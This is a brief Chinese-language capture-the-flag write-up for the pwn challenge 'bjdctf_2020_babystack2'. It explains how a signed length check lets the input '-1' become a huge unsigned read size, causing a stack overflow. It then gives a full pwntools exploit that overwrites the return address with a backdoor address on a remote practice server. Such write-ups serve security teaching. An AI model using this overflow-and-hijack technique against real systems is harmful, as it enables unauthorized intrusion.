bjdctf_2020_babystack2
拿到手先查看保护
然后打开IDA看看代码
从正常思路来看我们会利用read函数来进行栈溢出,那就得看nbytes大小,再看到nbytes最大为10,无法造成栈溢出,但是if中的是有符号nbytes,而read函数中的是无符号的,这是就可以利用整数溢出。
整数溢出详情可以看——>整数溢出知识
直接输入‘-1’来造成整数溢出,构造exp。
exp:
from pwn import *
io=remote('node4.buuoj.cn',26061)
backdoor=0x400726
io.recv()
io.sendline('-1')
io.recv()
payload=b'a'*(0x10+8)+p64(backdoor)
io.sendline(payload)
io.interactive()